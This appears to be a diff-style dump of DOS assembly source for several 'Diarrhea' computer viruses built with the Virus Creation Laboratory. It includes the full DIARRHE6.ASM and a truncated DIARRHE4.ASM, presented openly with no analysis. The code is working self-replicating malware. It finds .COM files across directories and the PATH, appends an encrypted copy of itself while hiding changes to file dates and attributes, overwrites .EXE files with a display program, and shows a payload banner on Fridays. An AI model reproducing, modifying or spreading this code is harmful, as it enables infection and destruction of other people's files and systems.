int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
get_weekday proc near
mov ah,02Ah ; DOS get date function
int 021h
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_weekday endp
data00 DB 15,16,24,24,24,24,24,24,25,3,12,'ÒÄÄ¿ ÖÄÄ¿ ÖÄÒÄ¿ ÖÄ'
DB 'ÒÄ¿ Ò Â ÒÄÄ¿ ÄÒÄ ÖÄÄ¿ ÒÄÄ¿ ÒÄÄ¿ Ò Â ÒÄÄ¿ ÖÄÄ¿ Ò',24
DB 25,3,'ÇÄ',25,2,'ÇÄÄ´',25,2,'º',25,3,'º º ³ ÓÄÄ´ º '
DB '³ º ÇÄÄ´ ÇÄÂÙ ÇÄÂÙ ÇÄÄ´ ÇÄ',25,2,'ÇÄÄ´ º',24,25,3,'Ð'
DB 'ÄÄÙ Ð Á',25,2,'Ð',25,3,'Ð Ð Á ÓÄÄÙ ÐÄÄÙ ÄÐÄ Ð Á '
DB 'Ð Á Ð Á Ð Á ÐÄÄÙ Ð Á o',24,25,19,14,'-GG Allin '
DB '& The Texas Nazis',24,24,24,24,24,24,24,24,24,24,24,24
DB 24,24,24,24
vcl_marker db "[VCL]",0 ; VCL creation marker
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
+452
View File
@@ -0,0 +1,452 @@
; DIARRHE6.ASM -- DIARRHEA 6
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
call search_files ; Find and infect a file
call search_files ; Find and infect another file
lea dx,[di + data00] ; DX points to data
lea si,[di + data01] ; SI points to data
push di ; Save DI
mov ah,02Fh ; DOS get DTA function
int 021h
mov di,bx ; DI points to DTA
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
int 021h
jc create_file ; If not found then create it
write_in_file: mov ax,04301h ; DOS set file attributes function
xor cx,cx ; File will have no attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ax,03D01h ; DOS open file function, write
lea dx,[di + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; Transfer file handle to AX
mov ah,040h ; DOS write to file function
mov cx,[si] ; CX holds number of byte to write
lea dx,[si + 2] ; DX points to the data
int 021h
mov ax,05701h ; DOS set file date/time function
mov cx,[di + 016h] ; CX holds old file time
mov dx,[di + 018h] ; DX holds old file data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attributes function
xor ch,ch ; Clear CH for attributes
mov cl,[di + 015h] ; CL holds old attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ah,04Fh ; DOS find next file function
int 021h
jnc write_in_file ; If successful do next file
jmp short dropper_end ; Otherwise exit
create_file: mov ah,03Ch ; DOS create file function
xor cx,cx ; File has no attributes
int 021h
xchg bx,ax ; Transfer file handle to AX
mov ah,040h ; DOS write to file function
mov cx,[si] ; CX holds number of byte to write
lea dx,[si + 2] ; DX points to the data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
dropper_end: pop di ; Restore DI
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
data00 db "*.EXE",0
data01 dw 254h
db 0EBh, 03Dh, 090h, 000h, 064h, 001h, 002h, 000h
db 000h, 054h, 068h, 065h, 044h, 072h, 061h, 077h
db 020h, 043h, 04Fh, 04Dh, 020h, 066h, 069h, 06Ch
db 065h, 020h, 053h, 063h, 072h, 065h, 065h, 06Eh
db 020h, 053h, 061h, 076h, 065h, 01Ah, 055h, 06Eh
db 073h, 075h, 070h, 070h, 06Fh, 072h, 074h, 065h
db 064h, 020h, 056h, 069h, 064h, 065h, 06Fh, 020h
db 04Dh, 06Fh, 064h, 065h, 00Dh, 00Ah, 024h, 0B4h
db 00Fh, 0CDh, 010h, 0BBh, 000h, 0B8h, 03Ch, 002h
db 074h, 018h, 03Ch, 003h, 074h, 014h, 0C6h, 006h
db 003h, 001h, 000h, 0BBh, 000h, 0B0h, 03Ch, 007h
db 074h, 008h, 0BAh, 026h, 001h, 0B4h, 009h, 0CDh
db 021h, 0C3h, 08Eh, 0C3h, 08Bh, 03Eh, 007h, 001h
db 0BEh, 0F0h, 001h, 0BAh, 0DAh, 003h, 0B3h, 009h
db 08Bh, 00Eh, 004h, 001h, 0FCh, 033h, 0C0h, 0ACh
db 03Ch, 01Bh, 075h, 005h, 080h, 0F4h, 080h, 0EBh
db 06Ah, 03Ch, 010h, 073h, 007h, 080h, 0E4h, 0F0h
db 00Ah, 0E0h, 0EBh, 05Fh, 03Ch, 018h, 074h, 013h
db 073h, 01Fh, 02Ch, 010h, 002h, 0C0h, 002h, 0C0h
db 002h, 0C0h, 002h, 0C0h, 080h, 0E4h, 08Fh, 00Ah
db 0E0h, 0EBh, 048h, 08Bh, 03Eh, 007h, 001h, 081h
db 0C7h, 0A0h, 000h, 089h, 03Eh, 007h, 001h, 0EBh
db 03Ah, 08Bh, 0E9h, 0B9h, 001h, 000h, 03Ch, 019h
db 075h, 008h, 0ACh, 08Ah, 0C8h, 0B0h, 020h, 04Dh
db 0EBh, 00Ah, 03Ch, 01Ah, 075h, 007h, 0ACh, 04Dh
db 08Ah, 0C8h, 0ACh, 04Dh, 041h, 080h, 03Eh, 003h
db 001h, 000h, 074h, 013h, 08Ah, 0F8h, 0ECh, 0D0h
db 0D8h, 072h, 0FBh, 0ECh, 022h, 0C3h, 075h, 0FBh
db 08Ah, 0C7h, 0ABh, 0E2h, 0F1h, 0EBh, 002h, 0F3h
db 0ABh, 08Bh, 0CDh, 0E3h, 002h, 0E2h, 088h, 0C3h
db 00Fh, 010h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
db 019h, 04Fh, 018h, 019h, 003h, 009h, 01Bh, 0DAh
db 01Ah, 044h, 0C4h, 0BFh, 019h, 004h, 018h, 019h
db 003h, 0B3h, 00Ch, 01Bh, 0D2h, 0C4h, 0C4h, 0BFh
db 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D6h, 0C4h
db 0D2h, 0C4h, 0BFh, 020h, 020h, 0D6h, 0C4h, 0D2h
db 0C4h, 0BFh, 020h, 0D2h, 020h, 020h, 0C2h, 020h
db 020h, 0D2h, 0C4h, 0C4h, 0BFh, 020h, 0C4h, 0D2h
db 0C4h, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D2h
db 0C4h, 0C4h, 0BFh, 020h, 0D2h, 0C4h, 0C4h, 0BFh
db 020h, 0D2h, 020h, 020h, 0C2h, 020h, 0D2h, 0C4h
db 0C4h, 0BFh, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h
db 0D2h, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h
db 003h, 0B3h, 00Ch, 01Bh, 0C7h, 0C4h, 019h, 002h
db 0C7h, 0C4h, 0C4h, 0B4h, 019h, 002h, 0BAh, 019h
db 003h, 0BAh, 020h, 0BAh, 020h, 0B3h, 020h, 0D3h
db 0C4h, 0C4h, 0B4h, 020h, 020h, 0BAh, 020h, 020h
db 0B3h, 020h, 020h, 0BAh, 020h, 020h, 0C7h, 0C4h
db 0C4h, 0B4h, 020h, 0C7h, 0C4h, 0C2h, 0D9h, 020h
db 0C7h, 0C4h, 0C2h, 0D9h, 020h, 0C7h, 0C4h, 0C4h
db 0B4h, 020h, 0C7h, 0C4h, 019h, 002h, 0C7h, 0C4h
db 0C4h, 0B4h, 020h, 0BAh, 009h, 01Bh, 0B3h, 019h
db 004h, 018h, 019h, 003h, 0B3h, 00Ch, 01Bh, 0D0h
db 0C4h, 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h
db 019h, 002h, 0D0h, 019h, 003h, 0D0h, 020h, 0D0h
db 020h, 0C1h, 020h, 0D3h, 0C4h, 0C4h, 0D9h, 020h
db 020h, 0D0h, 0C4h, 0C4h, 0D9h, 020h, 0C4h, 0D0h
db 0C4h, 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h
db 020h, 0C1h, 020h, 020h, 0D0h, 020h, 0C1h, 020h
db 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h, 0C4h
db 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h, 020h
db 06Fh, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h
db 003h, 0B3h, 019h, 014h, 00Eh, 01Bh, 02Dh, 02Dh
db 047h, 047h, 020h, 041h, 06Ch, 06Ch, 069h, 06Eh
db 020h, 026h, 020h, 054h, 068h, 065h, 020h, 054h
db 065h, 078h, 061h, 073h, 020h, 04Eh, 061h, 07Ah
db 069h, 073h, 019h, 013h, 009h, 01Bh, 0B3h, 019h
db 004h, 018h, 019h, 003h, 0C0h, 01Ah, 044h, 0C4h
db 0D9h, 019h, 004h, 018h, 019h, 04Fh, 018h, 019h
db 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
db 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh
db 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h
db 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
db 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh
db 018h, 019h, 04Fh, 018h
vcl_marker db "[VCL]",0 ; VCL creation marker
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
+424
View File
@@ -0,0 +1,424 @@
; DIARRHE4.ASM -- DIARRHEA 4
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
call get_weekday
cmp ax,0005h ; Did the function return 5?
je strt00 ; If equal, do effect
jmp end00 ; Otherwise skip over it
strt00: lea si,[di + data00] ; SI points to data
mov cx,0107h ; Second argument is 263
push di ; Save DI
push es ; Save ES
jcxz uncrunch_done ; Exit if there are no characters
mov ah,0Fh ; BIOS get screen mode function
int 10h
xor ah,ah ; BIOS set screen mode function
int 10h ; Clear the screen
xor di,di
mov ax,0B800h ; AX is set to video segment
mov es,ax ; ES holds video segment
mov dx,di ; Save X coordinate for later
xor ax,ax ; Set current attributes
cld
loopa: lodsb ; Get next character
cmp al,32 ; Is it a control character?
jb foreground ; Handle it if it is
stosw ; Save letter on screen
next: loop loopa ; Repeat until we're done
jmp short uncrunch_done ; Leave this routine
foreground: cmp al,16 ; Are we changing the foreground?
jnb background ; If not, check the background
and ah,0F0h ; Strip off old foreground
or ah,al ; Put the new one on
jmp short next ; Resume looping
background: cmp al,24 ; Are we changing the background?
je next_line ; If AL = 24, go to next line
jnb flash_bit_toggle ; If AL > 24 set the flash bit
sub al,16 ; Change AL to a color number
add al,al ; Crude way of shifting left
add al,al ; four bits without changing
add al,al ; CL or wasting space. Ok,
add al,al ; I guess.
and al,08Fh ; Strip off old background
or ah,al ; Put the new one on
jmp short next ; Resume looping
next_line: add dx,160 ; Skip a whole line (80 chars.
mov di,dx ; AND 80 attribs.)
jmp short next ; Resume looping
flash_bit_toggle: cmp al,27 ; Is it a blink toggle?
jb multi_output ; If AL < 27, it's a blinker
jne next ; Otherwise resume looping
xor ah,128 ; Toggle the flash bit
jmp short next ; Resume looping
multi_output: cmp al,25 ; Set Zero flag if multi-space
mov bx,cx ; Save main counter
lodsb ; Get number of repititions
mov cl,al ; Put it in CL
mov al,' ' ; AL holds a space
jz start_output ; If displaying spaces, jump
lodsb ; Otherwise get character to use
dec bx ; Adjust main counter
start_output: xor ch,ch ; Clear CH
inc cx ; Add one to count
rep stosw ; Display the character
mov cx,bx ; Restore main counter
dec cx ; Adjust main counter
loopnz loopa ; Resume looping if not done
uncrunch_done: pop es ; Restore ES
pop di ; Restore DI
end00: call search_files ; Find and infect a file
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
mov bx,di ; BX points to the virus
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,135 ; Allocate 135 bytes on stack
mov byte ptr [bp - 135],'\' ; Start with a backslash
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 134] ; SI points to 64-byte buffer
int 021h
call traverse_path ; Start the traversal
traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful?
je done_searching ; If so then we're done
call found_subdir ; Otherwise copy the subdirectory
mov ax,cs ; AX holds the code segment
mov ds,ax ; Set the data and extra
mov es,ax ; segments to the code segment
xor al,al ; Zero AL
stosb ; NULL-terminate the directory
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 70] ; DX points to the directory
int 021h
lea dx,[bx + com_mask] ; DX points to "*.COM"
push di
mov di,bx
call find_files ; Try to infect a .COM file
mov bx,di
pop di
jnc done_searching ; If successful the exit
jmp short traversal_loop ; Keep checking the PATH
done_searching: mov ah,03Bh ; DOS change directory function
lea dx,[bp - 135] ; DX points to old directory
int 021h
cmp word ptr [bx + path_ad],0 ; Did we run out of directories?
jne at_least_tried ; If not then exit
stc ; Set the carry flag for failure
at_least_tried: mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
com_mask db "*.COM",0 ; Mask for all .COM files
search_files endp
traverse_path proc near
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
xor di,di ; DI holds the starting offset
find_path: lea si,[bx + path_string] ; SI points to "PATH="
lodsb ; Load the "P" into AL
mov cx,08000h ; Check the first 32767 bytes
repne scasb ; Search until the byte is found
mov cx,4 ; Check the next four bytes
check_next_4: lodsb ; Load the next letter of "PATH="
scasb ; Compare it to the environment
jne find_path ; If there not equal try again
loop check_next_4 ; Otherwise keep checking
mov word ptr [bx + path_ad],di ; Save the PATH address
mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment
ret ; Return to caller
path_string db "PATH=" ; The PATH string to search for
path_ad dd ? ; Holds the PATH's address
traverse_path endp
found_subdir proc near
lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH
lea di,[bp - 70] ; DI points to the work buffer
push cs ; Transfer CS into ES for
pop es ; byte transfer
move_subdir: lodsb ; Load the next byte into AL
cmp al,';' ; Have we reached a separator?
je moved_one ; If so we're done copying
or al,al ; Are we finished with the PATH?
je moved_last_one ; If so get out of here
stosb ; Store the byte at ES:DI
jmp short move_subdir ; Keep transfering characters
moved_last_one: xor si,si ; Zero SI to signal completion
moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address
ret ; Return to caller
found_subdir endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
get_weekday proc near
mov ah,02Ah ; DOS get date function
int 021h
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_weekday endp
data00 DB 15,16,24,24,24,24,24,24,25,3,12,'ÒÄÄ¿ ÖÄÄ¿ ÖÄÒÄ¿ ÖÄ'
DB 'ÒÄ¿ Ò Â ÒÄÄ¿ ÄÒÄ ÖÄÄ¿ ÒÄÄ¿ ÒÄÄ¿ Ò Â ÒÄÄ¿ ÖÄÄ¿ Ò',24
DB 25,3,'ÇÄ',25,2,'ÇÄÄ´',25,2,'º',25,3,'º º ³ ÓÄÄ´ º '
DB '³ º ÇÄÄ´ ÇÄÂÙ ÇÄÂÙ ÇÄÄ´ ÇÄ',25,2,'ÇÄÄ´ º',24,25,3,'Ð'
DB 'ÄÄÙ Ð Á',25,2,'Ð',25,3,'Ð Ð Á ÓÄÄÙ ÐÄÄÙ ÄÐÄ Ð Á '
DB 'Ð Á Ð Á Ð Á ÐÄÄÙ Ð Á o',24,25,19,14,'-GG Allin '
DB '& The Texas Nazis',24,24,24,24,24,24,24,24,24,24,24,24
DB 24,24,24,24
vcl_marker db "[VCL]",0 ; VCL creation marker
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
